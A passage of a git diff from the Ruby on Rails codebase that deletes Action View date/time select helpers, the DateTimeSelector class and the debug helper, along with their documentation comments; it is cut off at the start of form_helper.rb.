- # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
- #
- # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
- # date_select("article", "written_on")
- #
- # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
- # # with the year in the year drop down box starting at 1995.
- # date_select("article", "written_on", start_year: 1995)
- #
- # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
- # # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
- # # and without a day select box.
- # date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
- # discard_day: true, include_blank: true)
- #
- # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
- # # with two digit numbers used for months and days.
- # date_select("article", "written_on", use_two_digit_numbers: true)
- #
- # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
- # # with the fields ordered as day, month, year rather than month, day, year.
- # date_select("article", "written_on", order: [:day, :month, :year])
- #
- # # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
- # # lacking a year field.
- # date_select("user", "birthday", order: [:month, :day])
- #
- # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
- # # which is initially set to the date 3 days from the current date
- # date_select("article", "written_on", default: 3.days.from_now)
- #
- # # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
- # # that will have a default day of 20.
- # date_select("credit_card", "bill_due", default: { day: 20 })
- #
- # # Generates a date select with custom prompts.
- # date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
- #
- # The selects are prepared for multi-parameter assignment to an Active Record object.
- #
- # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
- # all month choices are valid.
- def date_select(object_name, method, options = {}, html_options = {})
- Tags::DateSelect.new(object_name, method, self, options, html_options).render
- end
-
- # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
- # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
- # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
- # with <tt>:ampm</tt> option.
- #
- # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
- # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
- # +date_select+ on the same method within the form otherwise an exception will be raised.
- #
- # If anything is passed in the html_options hash it will be applied to every select tag in the set.
- #
- # # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
- # time_select("article", "sunrise")
- #
- # # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
- # # the sunrise attribute.
- # time_select("article", "start_time", include_seconds: true)
- #
- # # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30 and 45.
- # time_select 'game', 'game_time', {minute_step: 15}
- #
- # # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
- # time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
- # time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
- # time_select("article", "written_on", prompt: true) # generic prompts for all
- #
- # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
- # time_select 'game', 'game_time', {ampm: true}
- #
- # The selects are prepared for multi-parameter assignment to an Active Record object.
- #
- # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
- # all month choices are valid.
- def time_select(object_name, method, options = {}, html_options = {})
- Tags::TimeSelect.new(object_name, method, self, options, html_options).render
- end
-
- # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
- # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
- # by +object+).
- #
- # If anything is passed in the html_options hash it will be applied to every select tag in the set.
- #
- # # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
- # # attribute.
- # datetime_select("article", "written_on")
- #
- # # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
- # # article variable in the written_on attribute.
- # datetime_select("article", "written_on", start_year: 1995)
- #
- # # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
- # # be stored in the trip variable in the departing attribute.
- # datetime_select("trip", "departing", default: 3.days.from_now)
- #
- # # Generate a datetime select with hours in the AM/PM format
- # datetime_select("article", "written_on", ampm: true)
- #
- # # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
- # # as the written_on attribute.
- # datetime_select("article", "written_on", discard_type: true)
- #
- # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
- # datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
- # datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
- # datetime_select("article", "written_on", prompt: true) # generic prompts for all
- #
- # The selects are prepared for multi-parameter assignment to an Active Record object.
- def datetime_select(object_name, method, options = {}, html_options = {})
- Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
- end
-
- # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
- # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
- # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
- # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
- # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
- # control visual display of the elements.
- #
- # If anything is passed in the html_options hash it will be applied to every select tag in the set.
- #
- # my_date_time = Time.now + 4.days
- #
- # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
- # select_datetime(my_date_time)
- #
- # # Generates a datetime select that defaults to today (no specified datetime)
- # select_datetime()
- #
- # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
- # # with the fields ordered year, month, day rather than month, day, year.
- # select_datetime(my_date_time, order: [:year, :month, :day])
- #
- # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
- # # with a '/' between each date field.
- # select_datetime(my_date_time, date_separator: '/')
- #
- # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
- # # with a date fields separated by '/', time fields separated by '' and the date and time fields
- # # separated by a comma (',').
- # select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
- #
- # # Generates a datetime select that discards the type of the field and defaults to the datetime in
- # # my_date_time (four days after today)
- # select_datetime(my_date_time, discard_type: true)
- #
- # # Generate a datetime field with hours in the AM/PM format
- # select_datetime(my_date_time, ampm: true)
- #
- # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
- # # prefixed with 'payday' rather than 'date'
- # select_datetime(my_date_time, prefix: 'payday')
- #
- # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
- # select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
- # select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
- # select_datetime(my_date_time, prompt: true) # generic prompts for all
- def select_datetime(datetime = Time.current, options = {}, html_options = {})
- DateTimeSelector.new(datetime, options, html_options).select_datetime
- end
-
- # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
- # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
- # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
- # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
- #
- # If anything is passed in the html_options hash it will be applied to every select tag in the set.
- #
- # my_date = Time.now + 6.days
- #
- # # Generates a date select that defaults to the date in my_date (six days after today).
- # select_date(my_date)
- #
- # # Generates a date select that defaults to today (no specified date).
- # select_date()
- #
- # # Generates a date select that defaults to the date in my_date (six days after today)
- # # with the fields ordered year, month, day rather than month, day, year.
- # select_date(my_date, order: [:year, :month, :day])
- #
- # # Generates a date select that discards the type of the field and defaults to the date in
- # # my_date (six days after today).
- # select_date(my_date, discard_type: true)
- #
- # # Generates a date select that defaults to the date in my_date,
- # # which has fields separated by '/'.
- # select_date(my_date, date_separator: '/')
- #
- # # Generates a date select that defaults to the datetime in my_date (six days after today)
- # # prefixed with 'payday' rather than 'date'.
- # select_date(my_date, prefix: 'payday')
- #
- # # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
- # select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
- # select_date(my_date, prompt: {hour: true}) # generic prompt for hours
- # select_date(my_date, prompt: true) # generic prompts for all
- def select_date(date = Date.current, options = {}, html_options = {})
- DateTimeSelector.new(date, options, html_options).select_date
- end
-
- # Returns a set of html select-tags (one for hour and minute).
- # You can set <tt>:time_separator</tt> key to format the output, and
- # the <tt>:include_seconds</tt> option to include an input for seconds.
- #
- # If anything is passed in the html_options hash it will be applied to every select tag in the set.
- #
- # my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
- #
- # # Generates a time select that defaults to the time in my_time.
- # select_time(my_time)
- #
- # # Generates a time select that defaults to the current time (no specified time).
- # select_time()
- #
- # # Generates a time select that defaults to the time in my_time,
- # # which has fields separated by ':'.
- # select_time(my_time, time_separator: ':')
- #
- # # Generates a time select that defaults to the time in my_time,
- # # that also includes an input for seconds.
- # select_time(my_time, include_seconds: true)
- #
- # # Generates a time select that defaults to the time in my_time, that has fields
- # # separated by ':' and includes an input for seconds.
- # select_time(my_time, time_separator: ':', include_seconds: true)
- #
- # # Generate a time select field with hours in the AM/PM format
- # select_time(my_time, ampm: true)
- #
- # # Generates a time select field with hours that range from 2 to 14
- # select_time(my_time, start_hour: 2, end_hour: 14)
- #
- # # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
- # select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
- # select_time(my_time, prompt: {hour: true}) # generic prompt for hours
- # select_time(my_time, prompt: true) # generic prompts for all
- def select_time(datetime = Time.current, options = {}, html_options = {})
- DateTimeSelector.new(datetime, options, html_options).select_time
- end
-
- # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
- # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
- # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
- #
- # my_time = Time.now + 16.minutes
- #
- # # Generates a select field for seconds that defaults to the seconds for the time in my_time.
- # select_second(my_time)
- #
- # # Generates a select field for seconds that defaults to the number given.
- # select_second(33)
- #
- # # Generates a select field for seconds that defaults to the seconds for the time in my_time
- # # that is named 'interval' rather than 'second'.
- # select_second(my_time, field_name: 'interval')
- #
- # # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
- # # generic prompt.
- # select_second(14, prompt: 'Choose seconds')
- def select_second(datetime, options = {}, html_options = {})
- DateTimeSelector.new(datetime, options, html_options).select_second
- end
-
- # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
- # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
- # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
- # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
- #
- # my_time = Time.now + 6.hours
- #
- # # Generates a select field for minutes that defaults to the minutes for the time in my_time.
- # select_minute(my_time)
- #
- # # Generates a select field for minutes that defaults to the number given.
- # select_minute(14)
- #
- # # Generates a select field for minutes that defaults to the minutes for the time in my_time
- # # that is named 'moment' rather than 'minute'.
- # select_minute(my_time, field_name: 'moment')
- #
- # # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
- # # generic prompt.
- # select_minute(14, prompt: 'Choose minutes')
- def select_minute(datetime, options = {}, html_options = {})
- DateTimeSelector.new(datetime, options, html_options).select_minute
- end
-
- # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
- # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
- # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
- #
- # my_time = Time.now + 6.hours
- #
- # # Generates a select field for hours that defaults to the hour for the time in my_time.
- # select_hour(my_time)
- #
- # # Generates a select field for hours that defaults to the number given.
- # select_hour(13)
- #
- # # Generates a select field for hours that defaults to the hour for the time in my_time
- # # that is named 'stride' rather than 'hour'.
- # select_hour(my_time, field_name: 'stride')
- #
- # # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
- # # generic prompt.
- # select_hour(13, prompt: 'Choose hour')
- #
- # # Generate a select field for hours in the AM/PM format
- # select_hour(my_time, ampm: true)
- #
- # # Generates a select field that includes options for hours from 2 to 14.
- # select_hour(my_time, start_hour: 2, end_hour: 14)
- def select_hour(datetime, options = {}, html_options = {})
- DateTimeSelector.new(datetime, options, html_options).select_hour
- end
-
- # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
- # The <tt>date</tt> can also be substituted for a day number.
- # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
- # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
- #
- # my_date = Time.now + 2.days
- #
- # # Generates a select field for days that defaults to the day for the date in my_date.
- # select_day(my_time)
- #
- # # Generates a select field for days that defaults to the number given.
- # select_day(5)
- #
- # # Generates a select field for days that defaults to the number given, but displays it with two digits.
- # select_day(5, use_two_digit_numbers: true)
- #
- # # Generates a select field for days that defaults to the day for the date in my_date
- # # that is named 'due' rather than 'day'.
- # select_day(my_time, field_name: 'due')
- #
- # # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
- # # generic prompt.
- # select_day(5, prompt: 'Choose day')
- def select_day(date, options = {}, html_options = {})
- DateTimeSelector.new(date, options, html_options).select_day
- end
-
- # Returns a select tag with options for each of the months January through December with the current month
- # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
- # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
- # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
- # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
- # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
- # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
- # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
- # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
- #
- # # Generates a select field for months that defaults to the current month that
- # # will use keys like "January", "March".
- # select_month(Date.today)
- #
- # # Generates a select field for months that defaults to the current month that
- # # is named "start" rather than "month".
- # select_month(Date.today, field_name: 'start')
- #
- # # Generates a select field for months that defaults to the current month that
- # # will use keys like "1", "3".
- # select_month(Date.today, use_month_numbers: true)
- #
- # # Generates a select field for months that defaults to the current month that
- # # will use keys like "1 - January", "3 - March".
- # select_month(Date.today, add_month_numbers: true)
- #
- # # Generates a select field for months that defaults to the current month that
- # # will use keys like "Jan", "Mar".
- # select_month(Date.today, use_short_month: true)
- #
- # # Generates a select field for months that defaults to the current month that
- # # will use keys like "Januar", "Marts."
- # select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
- #
- # # Generates a select field for months that defaults to the current month that
- # # will use keys with two digit numbers like "01", "03".
- # select_month(Date.today, use_two_digit_numbers: true)
- #
- # # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
- # # generic prompt.
- # select_month(14, prompt: 'Choose month')
- def select_month(date, options = {}, html_options = {})
- DateTimeSelector.new(date, options, html_options).select_month
- end
-
- # Returns a select tag with options for each of the five years on each side of the current, which is selected.
- # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
- # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
- # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
- # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
- #
- # # Generates a select field for years that defaults to the current year that
- # # has ascending year values.
- # select_year(Date.today, start_year: 1992, end_year: 2007)
- #
- # # Generates a select field for years that defaults to the current year that
- # # is named 'birth' rather than 'year'.
- # select_year(Date.today, field_name: 'birth')
- #
- # # Generates a select field for years that defaults to the current year that
- # # has descending year values.
- # select_year(Date.today, start_year: 2005, end_year: 1900)
- #
- # # Generates a select field for years that defaults to the year 2006 that
- # # has ascending year values.
- # select_year(2006, start_year: 2000, end_year: 2010)
- #
- # # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
- # # generic prompt.
- # select_year(14, prompt: 'Choose year')
- def select_year(date, options = {}, html_options = {})
- DateTimeSelector.new(date, options, html_options).select_year
- end
-
- # Returns an html time tag for the given date or time.
- #
- # time_tag Date.today # =>
- # <time datetime="2010-11-04">November 04, 2010</time>
- # time_tag Time.now # =>
- # <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
- # time_tag Date.yesterday, 'Yesterday' # =>
- # <time datetime="2010-11-03">Yesterday</time>
- # time_tag Date.today, pubdate: true # =>
- # <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
- #
- # <%= time_tag Time.now do %>
- # <span>Right now</span>
- # <% end %>
- # # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
- def time_tag(date_or_time, *args, &block)
- options = args.extract_options!
- format = options.delete(:format) || :long
- content = args.first || I18n.l(date_or_time, :format => format)
- datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.rfc3339
-
- content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)
- end
- end
-
- class DateTimeSelector #:nodoc:
- include ActionView::Helpers::TagHelper
-
- DEFAULT_PREFIX = 'date'.freeze
- POSITION = {
- :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
- }.freeze
-
- AMPM_TRANSLATION = Hash[
- [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
- [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
- [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
- [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
- [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
- [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
- ].freeze
-
- def initialize(datetime, options = {}, html_options = {})
- @options = options.dup
- @html_options = html_options.dup
- @datetime = datetime
- @options[:datetime_separator] ||= ' &mdash; '
- @options[:time_separator] ||= ' : '
- end
-
- def select_datetime
- order = date_order.dup
- order -= [:hour, :minute, :second]
- @options[:discard_year] ||= true unless order.include?(:year)
- @options[:discard_month] ||= true unless order.include?(:month)
- @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
- @options[:discard_minute] ||= true if @options[:discard_hour]
- @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
-
- set_day_if_discarded
-
- if @options[:tag] && @options[:ignore_date]
- select_time
- else
- [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
- order += [:hour, :minute, :second] unless @options[:discard_hour]
-
- build_selects_from_types(order)
- end
- end
-
- def select_date
- order = date_order.dup
-
- @options[:discard_hour] = true
- @options[:discard_minute] = true
- @options[:discard_second] = true
-
- @options[:discard_year] ||= true unless order.include?(:year)
- @options[:discard_month] ||= true unless order.include?(:month)
- @options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
-
- set_day_if_discarded
-
- [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
-
- build_selects_from_types(order)
- end
-
- def select_time
- order = []
-
- @options[:discard_month] = true
- @options[:discard_year] = true
- @options[:discard_day] = true
- @options[:discard_second] ||= true unless @options[:include_seconds]
-
- order += [:year, :month, :day] unless @options[:ignore_date]
-
- order += [:hour, :minute]
- order << :second if @options[:include_seconds]
-
- build_selects_from_types(order)
- end
-
- def select_second
- if @options[:use_hidden] || @options[:discard_second]
- build_hidden(:second, sec) if @options[:include_seconds]
- else
- build_options_and_select(:second, sec)
- end
- end
-
- def select_minute
- if @options[:use_hidden] || @options[:discard_minute]
- build_hidden(:minute, min)
- else
- build_options_and_select(:minute, min, :step => @options[:minute_step])
- end
- end
-
- def select_hour
- if @options[:use_hidden] || @options[:discard_hour]
- build_hidden(:hour, hour)
- else
- options = {}
- options[:ampm] = @options[:ampm] || false
- options[:start] = @options[:start_hour] || 0
- options[:end] = @options[:end_hour] || 23
- build_options_and_select(:hour, hour, options)
- end
- end
-
- def select_day
- if @options[:use_hidden] || @options[:discard_day]
- build_hidden(:day, day || 1)
- else
- build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false, :use_two_digit_numbers => @options[:use_two_digit_numbers])
- end
- end
-
- def select_month
- if @options[:use_hidden] || @options[:discard_month]
- build_hidden(:month, month || 1)
- else
- month_options = []
- 1.upto(12) do |month_number|
- options = { :value => month_number }
- options[:selected] = "selected" if month == month_number
- month_options << content_tag(:option, month_name(month_number), options) + "\n"
- end
- build_select(:month, month_options.join)
- end
- end
-
- def select_year
- if !@datetime || @datetime == 0
- val = '1'
- middle_year = Date.today.year
- else
- val = middle_year = year
- end
-
- if @options[:use_hidden] || @options[:discard_year]
- build_hidden(:year, val)
- else
- options = {}
- options[:start] = @options[:start_year] || middle_year - 5
- options[:end] = @options[:end_year] || middle_year + 5
- options[:step] = options[:start] < options[:end] ? 1 : -1
- options[:leading_zeros] = false
- options[:max_years_allowed] = @options[:max_years_allowed] || 1000
-
- if (options[:end] - options[:start]).abs > options[:max_years_allowed]
- raise ArgumentError, "There're too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter"
- end
-
- build_options_and_select(:year, val, options)
- end
- end
-
- private
- %w( sec min hour day month year ).each do |method|
- define_method(method) do
- @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime
- end
- end
-
- # If the day is hidden, the day should be set to the 1st so all month and year choices are
- # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
- def set_day_if_discarded
- if @datetime && @options[:discard_day]
- @datetime = @datetime.change(:day => 1)
- end
- end
-
- # Returns translated month names, but also ensures that a custom month
- # name array has a leading nil element.
- def month_names
- @month_names ||= begin
- month_names = @options[:use_month_names] || translated_month_names
- month_names.unshift(nil) if month_names.size < 13
- month_names
- end
- end
-
- # Returns translated month names.
- # => [nil, "January", "February", "March",
- # "April", "May", "June", "July",
- # "August", "September", "October",
- # "November", "December"]
- #
- # If <tt>:use_short_month</tt> option is set
- # => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
- # "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
- def translated_month_names
- key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
- I18n.translate(key, :locale => @options[:locale])
- end
-
- # Lookup month name for number.
- # month_name(1) => "January"
- #
- # If <tt>:use_month_numbers</tt> option is passed
- # month_name(1) => 1
- #
- # If <tt>:use_two_month_numbers</tt> option is passed
- # month_name(1) => '01'
- #
- # If <tt>:add_month_numbers</tt> option is passed
- # month_name(1) => "1 - January"
- def month_name(number)
- if @options[:use_month_numbers]
- number
- elsif @options[:use_two_digit_numbers]
- sprintf "%02d", number
- elsif @options[:add_month_numbers]
- "#{number} - #{month_names[number]}"
- else
- month_names[number]
- end
- end
-
- def date_order
- @date_order ||= @options[:order] || translated_date_order
- end
-
- def translated_date_order
- date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
-
- forbidden_elements = date_order - [:year, :month, :day]
- if forbidden_elements.any?
- raise StandardError,
- "#{@options[:locale]}.date.order only accepts :year, :month and :day"
- end
-
- date_order
- end
-
- # Build full select tag from date type and options.
- def build_options_and_select(type, selected, options = {})
- build_select(type, build_options(selected, options))
- end
-
- # Build select option html from date value and options.
- # build_options(15, start: 1, end: 31)
- # => "<option value="1">1</option>
- # <option value="2">2</option>
- # <option value="3">3</option>..."
- #
- # If <tt>use_two_digit_numbers: true</tt> option is passed
- # build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
- # => "<option value="1">01</option>
- # <option value="2">02</option>
- # <option value="3">03</option>..."
- #
- # If <tt>:step</tt> options is passed
- # build_options(15, start: 1, end: 31, step: 2)
- # => "<option value="1">1</option>
- # <option value="3">3</option>
- # <option value="5">5</option>..."
- def build_options(selected, options = {})
- options = {
- leading_zeros: true, ampm: false, use_two_digit_numbers: false
- }.merge!(options)
-
- start = options.delete(:start) || 0
- stop = options.delete(:end) || 59
- step = options.delete(:step) || 1
- leading_zeros = options.delete(:leading_zeros)
-
- select_options = []
- start.step(stop, step) do |i|
- value = leading_zeros ? sprintf("%02d", i) : i
- tag_options = { :value => value }
- tag_options[:selected] = "selected" if selected == i
- text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
- text = options[:ampm] ? AMPM_TRANSLATION[i] : text
- select_options << content_tag(:option, text, tag_options)
- end
-
- (select_options.join("\n") + "\n").html_safe
- end
-
- # Builds select tag from date type and html select options.
- # build_select(:month, "<option value="1">January</option>...")
- # => "<select id="post_written_on_2i" name="post[written_on(2i)]">
- # <option value="1">January</option>...
- # </select>"
- def build_select(type, select_options_as_html)
- select_options = {
- :id => input_id_from_type(type),
- :name => input_name_from_type(type)
- }.merge!(@html_options)
- select_options[:disabled] = 'disabled' if @options[:disabled]
- select_options[:class] = type if @options[:with_css_classes]
-
- select_html = "\n"
- select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
- select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
- select_html << select_options_as_html
-
- (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe
- end
-
- # Builds a prompt option tag with supplied options or from default options.
- # prompt_option_tag(:month, prompt: 'Select month')
- # => "<option value="">Select month</option>"
- def prompt_option_tag(type, options)
- prompt = case options
- when Hash
- default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
- default_options.merge!(options)[type.to_sym]
- when String
- options
- else
- I18n.translate(:"datetime.prompts.#{type}", :locale => @options[:locale])
- end
-
- prompt ? content_tag(:option, prompt, :value => '') : ''
- end
-
- # Builds hidden input tag for date part and value.
- # build_hidden(:year, 2008)
- # => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
- def build_hidden(type, value)
- select_options = {
- :type => "hidden",
- :id => input_id_from_type(type),
- :name => input_name_from_type(type),
- :value => value
- }.merge!(@html_options.slice(:disabled))
- select_options[:disabled] = 'disabled' if @options[:disabled]
-
- tag(:input, select_options) + "\n".html_safe
- end
-
- # Returns the name attribute for the input tag.
- # => post[written_on(1i)]
- def input_name_from_type(type)
- prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
- prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
-
- field_name = @options[:field_name] || type
- if @options[:include_position]
- field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
- end
-
- @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
- end
-
- # Returns the id attribute for the input tag.
- # => "post_written_on_1i"
- def input_id_from_type(type)
- id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
- id = @options[:namespace] + '_' + id if @options[:namespace]
-
- id
- end
-
- # Given an ordering of datetime components, create the selection HTML
- # and join them with their appropriate separators.
- def build_selects_from_types(order)
- select = ''
- first_visible = order.find { |type| !@options[:"discard_#{type}"] }
- order.reverse.each do |type|
- separator = separator(type) unless type == first_visible # don't add before first visible field
- select.insert(0, separator.to_s + send("select_#{type}").to_s)
- end
- select.html_safe
- end
-
- # Returns the separator for a given datetime component.
- def separator(type)
- return "" if @options[:use_hidden]
-
- case type
- when :year, :month, :day
- @options[:"discard_#{type}"] ? "" : @options[:date_separator]
- when :hour
- (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
- when :minute, :second
- @options[:"discard_#{type}"] ? "" : @options[:time_separator]
- end
- end
- end
-
- class FormBuilder
- def date_select(method, options = {}, html_options = {})
- @template.date_select(@object_name, method, objectify_options(options), html_options)
- end
-
- def time_select(method, options = {}, html_options = {})
- @template.time_select(@object_name, method, objectify_options(options), html_options)
- end
-
- def datetime_select(method, options = {}, html_options = {})
- @template.datetime_select(@object_name, method, objectify_options(options), html_options)
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/debug_helper.rb b/actionpack/lib/action_view/helpers/debug_helper.rb
deleted file mode 100644
index d361a69a92..0000000000
--- a/actionpack/lib/action_view/helpers/debug_helper.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-module ActionView
- # = Action View Debug Helper
- #
- # Provides a set of methods for making it easier to debug Rails objects.
- module Helpers
- module DebugHelper
-
- include TagHelper
-
- # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
- # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
- # Useful for inspecting an object at the time of rendering.
- #
- # @user = User.new({ username: 'testing', password: 'xyz', age: 42}) %>
- # debug(@user)
- # # =>
- # <pre class='debug_dump'>--- !ruby/object:User
- # attributes:
- # &nbsp; updated_at:
- # &nbsp; username: testing
- #
- # &nbsp; age: 42
- # &nbsp; password: xyz
- # &nbsp; created_at:
- # attributes_cache: {}
- #
- # new_record: true
- # </pre>
- def debug(object)
- begin
- Marshal::dump(object)
- object = ERB::Util.html_escape(object.to_yaml).gsub(" ", "&nbsp; ").html_safe
- content_tag(:pre, object, :class => "debug_dump")
- rescue Exception # errors from Marshal or YAML
- # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
- content_tag(:code, object.to_yaml, :class => "debug_dump")
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
deleted file mode 100644
index 5710d1fc02..0000000000
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ /dev/null
@@ -1,1430 +0,0 @@
-require 'cgi'
